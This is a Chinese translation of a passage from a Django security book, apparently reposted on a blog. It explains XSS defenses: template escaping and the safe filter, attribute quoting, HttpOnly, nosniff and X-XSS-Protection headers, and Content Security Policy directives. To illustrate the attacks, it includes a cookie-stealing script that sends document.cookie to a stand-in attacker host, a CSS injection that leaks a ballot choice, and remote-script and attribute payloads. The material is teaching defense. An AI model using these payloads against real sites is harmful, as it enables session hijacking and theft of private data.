</html>

❶ 开始标记,暂停保护

❷ 结束标记,恢复保护

autoescape 标记的有效用例很少且值得怀疑。例如,也许有人决定在数据库中存储 HTML,现在你被困承担渲染责任。这也适用于下一个以粗体显示的内置 safe 过滤器。该过滤器暂停模板中单个变量的自动特殊字符转义。尽管这个过滤器的名称,以下代码容易受到 XSS 攻击:

<html>
    <div>
        {{ request.GET.query_parameter|safe }}
    </div>
</html>

警告:使用 safe 过滤器的不安全方式很容易。我个人认为不安全可能是这个功能的更好名称。谨慎使用此过滤器。

safe 过滤器将大部分工作委托给一个名为 mark_safe 的内置实用函数。此函数接受一个原生 Python 字符串,并用 SafeString 包装它。当模板引擎遇到 SafeString 时,它会有意地按原样渲染数据,不转义。

对来自不受信任来源的数据应用 mark_safe 是一种被攻击的邀请。在交互式 Django shell 中键入以下代码,看看为什么。以下代码创建一个简单的模板和一个恶意脚本。如粗体显示,脚本被标记为安全并注入到模板中。尽管不是模板引擎的错,但所有特殊字符在生成的 HTML 中仍然未转义:

$ python manage.py shell
>>> from django.template import Template, Context
>>> from django.utils.safestring import mark_safe
>>> 
>>> template = Template('<html>{{ var }}</html>')        # ❶
>>> 
>>> native_string = '<script>/* malicious */</script>'   # ❷
>>> safe_string = mark_safe(native_string)
>>> type(safe_string)
<class 'django.utils.safestring.SafeString'>
>>> 
>>> ctx = Context({'var': safe_string})
>>> template.render(ctx)                                 # ❸
'<html><script>/* malicious */</script></html>'          # ❹

❶ 创建一个简单的模板

❷ 恶意输入

❸ 渲染模板

❹ XSS 漏洞

这个名副其实的内置 escape 过滤器,以粗体显示,会触发模板中单个变量的特殊字符转义。在自动 HTML 输出转义已关闭的块内,此过滤器按预期工作。以下代码是安全的:

<html>
    {% autoescape off %}                               <!-- ❶ -->
        <div>
            {{ request.GET.query_parameter|escape }}   <!-- ❷ -->
        </div>
    {% endautoescape %}                                <!-- ❸ -->
</html>

❶ 开始标记,暂停保护

❷ 无漏洞

❸ 结束标记,恢复保护

safe过滤器一样,escape过滤器是 Django 内置实用函数的包装器之一。这里以粗体显示的内置escape函数允许您以编程方式转义特殊字符。此函数将转义原生 Python 字符串和SafeStrings

>>> from django.utils.html import escape
>>> 
>>> poison = '<script>/* malicious */</script>'
>>> escape(poison)
'&lt;script&gt;/* malicious */&lt;/script&gt;'     # ❶

❶ 中和 HTML

像其他所有尊重的模板引擎一样(适用于所有编程语言),Django 的模板引擎通过转义特殊的 HTML 字符来抵抗 XSS 攻击。不幸的是,并非所有恶意内容都包含特殊字符。在下一节中,您将了解到这个框架无法保护您免受的一个特殊情况。

14.3.2 HTML 属性引用

以下是一个简单模板的示例。如粗体所示,request参数确定了class属性的值。如果request参数等于普通的 CSS 类名,则此页面将按预期行为。另一方面,如果参数包含特殊的 HTML 字符,Django 将像往常一样对其进行转义:

<html>
    <div class={{ request.GET.query_parameter }}>
        XSS without special characters
    </div>
</html>

您是否注意到class属性值未加引号?不幸的是,这意味着攻击者可以在不使用任何特殊 HTML 字符的情况下滥用此页面。例如,假设此页面属于 SpaceX 的一个重要系统。Mallory 以反射型 XSS 攻击的方式针对 Falcon 9 团队的技术人员 Charlie。现在想象一下当参数以className onmouseover=javascript:launchRocket()形式到达时会发生什么。

良好的 HTML 卫生习惯,而不是框架,是抵抗这种形式的 XSS 攻击的唯一方法。简单地引用 class 属性值可以确保div标签安全地呈现,无论模板变量值如何。请养成一个习惯,始终引用每个标签的每个属性。HTML 规范不要求单引号或双引号,但有时像这样的简单约定可以避免灾难。

在前面的两节中,您学会了如何通过响应主体来抵抗 XSS 攻击。在下一节中,您将学习如何通过响应头来实现这一点。

14.4 HTTP 响应头

响应 代表对抗 XSS 攻击非常重要的一层防御。这一层可以防止一些攻击,同时限制其他攻击的破坏程度。在本节中,您将从三个角度了解这个主题:

  • 禁用 JavaScript 访问 cookie

  • 禁用 MIME 嗅探

  • 使用X-XSS-Protection

这里每个项目的主要思想是通过限制浏览器对响应的操作来保护用户。换句话说,这是服务器如何将 PLP 应用于浏览器的方式。

获取受害者的 cookie 是 XSS 攻击的一个常见目标。攻击者特别针对受害者的会话 ID cookie。下面的两行 JavaScript 演示了这是多么容易。

代码的第一行构造了一个 URL。URL 的域指向攻击者控制的服务器;URL 的参数是受害者的本地 Cookie 状态的副本。代码的第二行将此 URL 插入文档中,作为图像标签的源属性。这会触发对 mallory.com 的请求,将受害者的 Cookie 状态传递给攻击者。

<script>
    const url = 'https:/./mallory.com/?loot=' + document.cookie;   # ❶
    document.write('<img src="' + url + '">');                    # ❷
</script>

❶ 读取受害者的 Cookie

❷ 将受害者的 Cookie 发送给攻击者

假设 Mallory 使用这个脚本来针对 Bob 进行反射型 XSS 攻击。一旦他的会话 ID 被泄露,Mallory 可以简单地使用它来假扮成 Bob 并在 bank.alice.com 上获取访问权限。她不必编写 JavaScript 来从他的银行账户转账;她可以直接通过 UI 来完成。图 14.3 描述了这种攻击,称为会话劫持

服务器通过设置带有HttpOnly指令的 Cookie 来抵御这种形式的攻击,这是Set-Cookie响应头的一个属性。(你在第七章学到了这个响应头。)尽管它的名字是HttpOnly,但它与浏览器在传输 Cookie 时必须使用的协议无关。相反,这个指令将 Cookie 隐藏起来,不让客户端的 JavaScript 看到。这可以减轻 XSS 攻击,但不能阻止它们。下面显示了一个带有HttpOnly指令的示例响应头:

Set-Cookie: sessionid=<session-id-value>; HttpOnly

会话 ID Cookie 应该始终使用HttpOnly。Django 默认情况下就是这样做的。这个行为由SESSION_COOKIE_HTTPONLY设置配置,幸运的是,默认值为True。如果您在代码存储库或拉取请求中看到这个设置被赋值为False,那么作者可能误解了它的含义。鉴于这个指令的不幸命名,这是可以理解的。毕竟,术语HttpOnly很容易被没有上下文的人误解为不安全

CH14_F03_Byrne

图 14.3 Mallory 用反射型 XSS 攻击劫持了 Bob 的会话。

注意 在撰写本文时,安全配置错误位列 OWASP 十大安全风险的第 6 位(owasp.org/www-project-top-ten/)。

当然,HttpOnly不仅适用于您的会话 ID Cookie。一般来说,除非您有非常强烈的需要以 JavaScript 编程方式访问它,否则应该为每个 Cookie 设置HttpOnly。没有访问您的 Cookie 的攻击者的能力会减弱。

列表 14.9 演示了如何使用HttpOnly指令设置自定义 Cookie。CookieSettingView通过调用响应对象上的一个便利方法来添加一个Set-Cookie头。这个方法接受一个名为httponly的关键字参数。与SESSION_COOKIE_HTTPONLY设置不同,这个关键字参数的默认值是False

列表 14.9 使用 HttpOnly 指令设置 Cookie

class CookieSettingView(View):

    def get(self, request):
        ...

        response = HttpResponse()
        response.set_cookie(         # ❶
            'cookie-name',
            'cookie-value',
                ...
            httponly=True)           # ❷

        return response

❶ 将 Set-Cookie 头添加到响应中

❷ 将 HttpOnly 指令附加到头部

在下一节中,我将介绍一种用于抵抗 XSS 的响应头部。像HttpOnly指令一样,这个头部限制了浏览器以保护用户的安全。

14.4.2 禁用 MIME 类型嗅探

在我们深入研究这个主题之前,我将解释浏览器如何确定 HTTP 响应的内容类型。当你将浏览器指向一个典型的网页时,它不会一次性下载整个内容。它请求一个 HTML 资源,解析它,并为嵌入的内容(如图片、样式表和 JavaScript)发送单独的请求。为了渲染页面,你的浏览器需要用适当的内容处理程序处理每个响应。

浏览器如何将每个响应匹配到正确的处理程序?浏览器不关心 URL 是否以.gif 或.css 结尾。浏览器也不关心 URL 是来自<img>标签还是<style>标签。相反,浏览器通过Content-Type响应头部从服务器接收内容类型。

Content-Type头部的值称为MIME 类型或媒体类型。例如,如果你的浏览器接收到text/javascript的 MIME 类型,它会将响应交给 JavaScript 解释器。如果 MIME 类型是image/gif,则响应会交给图形引擎。

一些浏览器允许响应内容本身覆盖Content-Type头部。这被称为MIME 类型嗅探。如果浏览器需要弥补不正确或缺失的Content-Type头部,这很有用。不幸的是,MIME 类型嗅探也是一种跨站脚本攻击向量。

假设 Bob 为他的社交网络站点 social.bob.com 添加了新功能。这个新功能旨在让用户共享照片。Mallory 注意到 social.bob.com 不验证上传的文件。它还将每个资源都以image/jpeg的 MIME 类型发送。然后,她滥用了这个功能,上传了一个恶意的 JavaScript 文件,而不是照片。最后,Alice 在查看 Mallory 的相册时无意中下载了这个脚本。Alice 的浏览器嗅探内容,覆盖了 Bob 不正确的Content-Type头部,并执行了 Mallory 的代码。图 14.4 描绘了 Mallory 的攻击。

CH14_F04_Byrne

图 14.4 Alice 的浏览器嗅探 Mallory 脚本的内容,覆盖 MIME 类型,并执行它。

安全站点通过发送带有X-Content-Type-Options头部的每个响应来抵抗这种形式的 XSS。此头部如下所示,禁止浏览器执行 MIME 类型嗅探:

X-Content-Type-Options: nosniff

在 Django 中,这个行为由SECURE_CONTENT_TYPE_NOSNIFF设置配置。这个设置的默认值在 3.0 版本中改为True。如果你运行的是旧版本的 Django,你应该明确地将这个设置分配为True

14.4.3 X-XSS-Protection头部

X-XSS-Protection 响应头旨在启用客户端 XSS 抵抗。支持此功能的浏览器尝试通过检查请求和响应中的恶意内容来自动检测反射性 XSS 攻击。当检测到攻击时,浏览器将对页面进行清理或拒绝渲染。

X-XSS-Protection 头部在许多方面都没有获得足够的关注。该功能的每个实现都是特定于浏览器的。Google Chrome 和 Microsoft Edge 都已经实现并弃用了它。Mozilla Firefox 没有实现此功能,并且目前也没有计划这样做。

SECURE_BROWSER_XSS_FILTER 设置确保每个响应都有一个 X-XSS-Protection 头部。Django 使用块模式指令添加此头部,如下所示。块模式指示浏览器阻止页面渲染而不是尝试删除可疑内容:

X-XSS-Protection: 1; mode=block

默认情况下,Django 禁用了此功能。您可以通过将此设置分配为True来启用它。启用X-XSS-Protection可能值得写一行代码,但不要让它成为虚假的安全感。这个头部不能被认为是一个有效的防御层。

本节介绍了Set-CookieX-Content-Type-OptionsX-XSS-Protection 响应头部。它也作为下一章的热身,下一章将完全专注于一种响应头部,旨在减轻 XSS 等攻击。这个头部易于使用,非常强大。

摘要

  • XSS 有三种形式:持久性、反射性和基于 DOM。

  • XSS 不仅限于 JavaScript;HTML 和 CSS 也经常被武器化。

  • 一层防御最终会使您受到威胁。

  • 验证用户输入;不要对其进行消毒。

  • 转义输出是最重要的防御层。

  • 服务器使用响应头来通过限制浏览器功能来保护用户。

第十五章:内容安全策略

本章涵盖

  • 使用 fetch、navigation 和 document 指令编写内容安全策略

  • 使用 django-csp 部署 CSP

  • 使用报告指令检测 CSP 违规

  • 抵抗 XSS 和中间人攻击

服务器和浏览器遵循一个称为内容安全策略CSP)的标准,以可互操作地发送和接收安全策略。策略限制了浏览器对响应的操作,以保护用户和服务器。策略的限制旨在防止或减轻各种 Web 攻击。在本章中,您将学习如何使用 django-csp 轻松应用 CSP。本章涵盖了 CSP 2 级,并以 CSP 3 级的部分结束。

一个策略通过 Content-Security-Policy 响应头从服务器传递到浏览器。策略只适用于它所在的响应。每个策略包含一个或多个指令。例如,假设 bank.alice.com 对每个资源都添加了图 15.1 中显示的 CSP 头部。该头部携带了一个简单的策略,由一个指令组成,阻止浏览器执行 JavaScript。

CH15_F01_Byrne

图 15.1 一个内容安全策略头部使用简单的策略禁止了 JavaScript 的执行。

这个头部如何抵抗 XSS?假设 Mallory 在 bank.alice.com 发现了一个反射型 XSS 漏洞。她编写了一个恶意脚本将 Bob 的所有资金转移到她的帐户中。Mallory 将这个脚本嵌入到一个 URL 中,并将其通过电子邮件发送给 Bob。Bob 又上当了。他无意中将 Mallory 的脚本发送到 bank.alice.com,然后它被反射回来。幸运的是,Bob 的浏览器受到 Alice 的策略的限制,阻止了脚本的执行。Mallory 的计划失败了,在 Bob 的浏览器的调试控制台中只有一个错误消息。图 15.2 说明了 Mallory 的反射型 XSS 攻击失败了。

CH15_F02_Byrne

图 15.2 Alice 的网站使用 CSP 阻止 Mallory 再次进行反射型 XSS 攻击。

这次,Alice 仅通过一个非常简单的内容安全策略勉强阻止了 Mallory。在下一节中,您将为自己编写一个更复杂的策略。

15.1 编写内容安全策略

在本节中,您将学习如何使用一些常用指令构建自己的内容安全策略。这些指令遵循一个简单的模式:每个指令由至少一个来源组成。一个来源代表浏览器可以从中检索内容的可接受位置。例如,您在上一节中看到的 CSP 头部将一个 fetch 指令 script-src 与一个来源组合在一起,如图 15.3 所示。

CH15_F03_Byrne

图 15.3 Alice 的简单内容安全策略的解剖。

为什么使用单引号?

许多来源,如 none,使用单引号。这不是一种约定,而是一种要求。CSP 规范要求在实际的响应头中包含这些字符。

这个策略的范围非常狭窄,只包含一个指令和一个来源。这样简单的策略在现实世界中并不有效。一个典型的策略由多个指令组成,用分号分隔,一个或多个来源,用空格分隔。

浏览器在指令具有多个来源时会做出怎样的反应?每个额外的来源都会扩大攻击面。例如,下一个策略将script-srcnone来源和一个方案来源结合在一起。方案来源通过协议(如 HTTP 或 HTTPS)匹配资源。在这种情况下,协议是 HTTPS(分号后缀是必需的):

Content-Security-Policy: script-src 'none' https:

浏览器处理与任何来源匹配的内容,而不是每个来源。因此,该策略允许浏览器通过 HTTPS 获取任何脚本,尽管有none来源。该策略也无法抵抗以下 XSS 有效载荷:

<script src="https:/./mallory.com/malicious.js"></script>

一个有效的内容安全策略必须在各种攻击形式和功能开发复杂性之间取得平衡。CSP 通过三个主要的指令类别来实现这种平衡:

  • 获取指令

  • 导航指令

  • 文档指令

最常用的指令是获取指令。这个类别是最大的,也可以说是最有用的。

15.1.1 获取指令

获取指令限制浏览器获取内容的方式。这些指令提供了许多避免或减少 XSS 攻击影响的方法。CSP Level 2 支持 11 个获取指令和 9 种来源类型。为了你的利益和我的利益,涵盖所有 99 种组合是没有意义的。此外,一些来源类型只与一些指令相关,因此本节仅涵盖了与最相关来源结合的最有用指令。它还涵盖了一些要避免的组合。

默认-src 指令

每个良好的策略都以default-src指令开头。这个指令很特殊。当浏览器没有收到给定内容类型的显式获取指令时,浏览器会退回到default-src。例如,浏览器在加载脚本之前会查看script-src指令。如果script-src不存在,浏览器会用default-src指令替代它。

default-srcself来源结合是非常推荐的。与none不同,self允许浏览器处理来自特定位置的内容。内容必须来自浏览器获取资源的地方。例如,self允许 Alice 银行的页面处理来自同一主机的 JavaScript。

具体来说,内容必须与资源具有相同的来源。什么是来源?来源由资源 URL 的协议、主机和端口定义。(这个概念不仅适用于 CSP;你将在第十七章再次看到它。)

表 15.1 比较了alice.com/path/的来源与其他六个 URL 的来源。

表 15.1 将来源与alice.com/path/进行比较

URL 匹配的来源? 原因
http😕/alice.com/path/ No Different protocol
https://bob.com/path/ No Different host
https://bank.alice.com/path/ No Different host
https://alice.com:8000/path/ No Different port
https://alice.com/different_path/ Yes Path differs
https://alice.com/path/?param=42 Yes Query string differs

以下 CSP 标头代表您内容安全策略的基础。该策略仅允许浏览器处理与资源相同来源的内容。浏览器甚至会拒绝响应主体中的内联脚本和样式表。这不能防止恶意内容被注入页面,但它确实防止页面中的恶意内容被执行:

Content-Security-Policy: default-src 'self'

该策略提供了很多保护,但本身相当严格。大多数程序员希望使用内联 JavaScript 和 CSS 来开发 UI 功能。在下一节中,我将向您展示如何通过内容特定的策略异常在安全性和功能开发之间取得平衡。

script-src 指令

正如其名称所示,script-src指令适用于 JavaScript。这是一个重要的指令,因为 CSP 的主要目标是提供一层防御,防止 XSS。之前你看到 Alice 通过将script-srcnone源结合来抵抗 Mallory。这减轻了所有形式的 XSS,但是过于保守。none源阻止所有 JavaScript 执行,包括内联脚本以及来自响应的相同来源的脚本。如果您的目标是创建一个极其安全但无聊的站点,这就是您的来源。

unsafe-inline来源占据了风险范围的相反端。该来源允许浏览器执行诸如内联<script>标签、javascript: URL 和内联事件处理程序之类的 XSS 向量。正如名称所警告的,unsafe-inline是有风险的,您应该避免使用它。

你还应该避免unsafe-eval来源。该来源允许浏览器从字符串中评估和执行任何 JavaScript 表达式。这意味着以下所有内容都是潜在的攻击向量:

  • eval(string)函数

  • new Function(string)

  • window.setTimeout(string, x)

  • window.setInterval(string, x)

如何在none的无聊和unsafe-inline以及unsafe-eval的风险之间取得平衡?通过nonce(一次性数字)。粗体字体显示的 nonce 来源包含一个唯一的随机数,而不是selfnone这样的静态值。根据定义,该数字对于每个响应都是不同的:

Content-Security-Policy: script-src 'nonce-EKpb5h6TajmKa5pK'

如果浏览器收到该策略,它将执行内联脚本,但只有带有匹配的nonce属性的脚本。例如,该策略将允许浏览器执行以下脚本,因为粗体显示的nonce属性是匹配的:

<script nonce='EKpb5h6TajmKa5pK'>
   /* inline script */
</script>

一个 nonce 来源如何缓解 XSS?假设 Alice 为 bank.alice.com 添加了这一层防御。Mallory 然后发现了另一个 XSS 漏洞,并计划再次向 Bob 的浏览器注入恶意脚本。要成功执行此攻击,Mallory 必须使用 Alice 将要从 Alice 那里收到的相同 nonce 准备脚本。Mallory 事先无法知道 nonce,因为 Alice 的服务器甚至还没有生成它。此外,Mallory 猜对数字的机会几乎为零;在拉斯维加斯赌博会给她比针对 Alice 银行更好的发财机会。

一个 nonce 来源可以缓解 XSS,同时使内联脚本执行。这是最佳选择,既提供了像 none 一样的安全性,又像 unsafe-inline 一样促进了功能开发。

style-src 指令

正如名称所示,style-src 控制浏览器如何处理 CSS。与 JavaScript 一样,CSS 是 Web 开发人员交付功能的标准工具;它也可能被 XSS 攻击利用。

假设 2024 年美国总统选举正在进行中。整个选举只有两个候选人:Bob 和 Eve。有史以来第一次,选民可以在 Charlie 的新网站 ballot.charlie.com 上线上投票。Charlie 的内容安全策略阻止了所有 JavaScript 执行,但未解决 CSS 问题。

Mallory 发现了另一个反射型 XSS 机会。她给 Alice 发送了一个恶意链接。Alice 点击链接并收到了列表 15.1 中显示的 HTML 页面。该页面包含了由 Charlie 撰写的包含两个候选人的下拉列表;它还包含了由 Mallory 植入的样式表。

Mallory 的样式表动态设置了 Alice 所选选项的背景。这个事件触发了一个网络请求来获取背景图像。不幸的是,网络请求还以查询字符串参数的形式向 Mallory 透露了 Alice 的投票情况。Mallory 现在知道了 Alice 投票给了谁。

列表 15.1 Mallory 在 Alice 的浏览器中注入恶意样式表

<html>

    <style>                                                    /* ❶ */
        option[value=bob]:checked {                            /* ❷ */
            background: url(https://mallory.com/?vote=bob);    /* ❸ */
        }
        option[value=eve]:checked {                            /* ❹ */
            background: url(https://mallory.com/?vote=eve);    /* ❺ */
        }
    </style>

    <body>
        ...
        <select id="ballot">
            <option>Cast your vote!</option>
            <option value="bob">Bob</option>                   <!-- ❻ -->
            <option value="eve">Eve</option>                   <!-- ❻ -->
        </select>
        ...
    </body>

</html>

❶ Mallory 注入的样式表

❷ 如果 Alice 为 Bob 投票,则触发

❸ 将 Alice 的选择发送给 Mallory

❹ 如果 Alice 为 Eve 投票

❺ 将 Alice 的选择发送给 Mallory

❻ 两位总统候选人

显然,style-src 指令应该像 script-src 一样受到重视。style-src 指令可以与大多数与 script-src 相同的源结合使用,包括 selfnoneunsafe-inline 和一个 nonce 来源。例如,以下 CSP 标头说明了一个带有 nonce 来源的 style-src 指令,如粗体所示:

Content-Security-Policy: style-src 'nonce-EKpb5h6TajmKa5pK'

此标题允许浏览器应用以下样式表。如粗体所示,nonce 属性值匹配:

<style nonce='EKpb5h6TajmKa5pK'>
   body {
       font-size: 42;
   }
</style>

img-src 指令

img-src 指令确定浏览器如何获取图像。对于从第三方站点(称为 内容交付网络 (CDN))托管图像和其他静态内容的站点,此指令通常很有用。从 CDN 托管静态内容可以减少页面加载时间、降低成本并抵消流量峰值。

以下示例演示了如何与 CDN 集成。此标头结合了一个 img-src 指令和一个主机源。主机源允许浏览器从特定主机或一组主机获取内容:

Content-Security-Policy: img-src https:/./cdn.charlie.com

下面的策略是主机源可以变得多么复杂的一个示例。星号匹配子域和端口。URL 方案和端口号是可选的。主机可以通过名称或 IP 地址指定:

Content-Security-Policy: img-src https:/./*.alice.com:8000
➥                               https:/./bob.com:*
➥                               charlie.com
➥                               http:/./163.172.16.173

许多其他获取指令并不像迄今为止涵盖的那些那么有用。表 15.2 总结了它们。一般来说,我建议将这些指令从 CSP 标头中省略。这样,浏览器会回退到 default-src,隐式地将每个指令与 self 结合起来。当然,在现实世界中,你可能需要根据具体情况放宽一些这些限制。

表 15.2 其他获取指令及其管辖内容

CSP 指令 相关性
object-src , , 和
media-src
frame-src
posted @ 2025-11-18 09:34  绝不原创的飞龙  阅读(11)  评论(0)    收藏  举报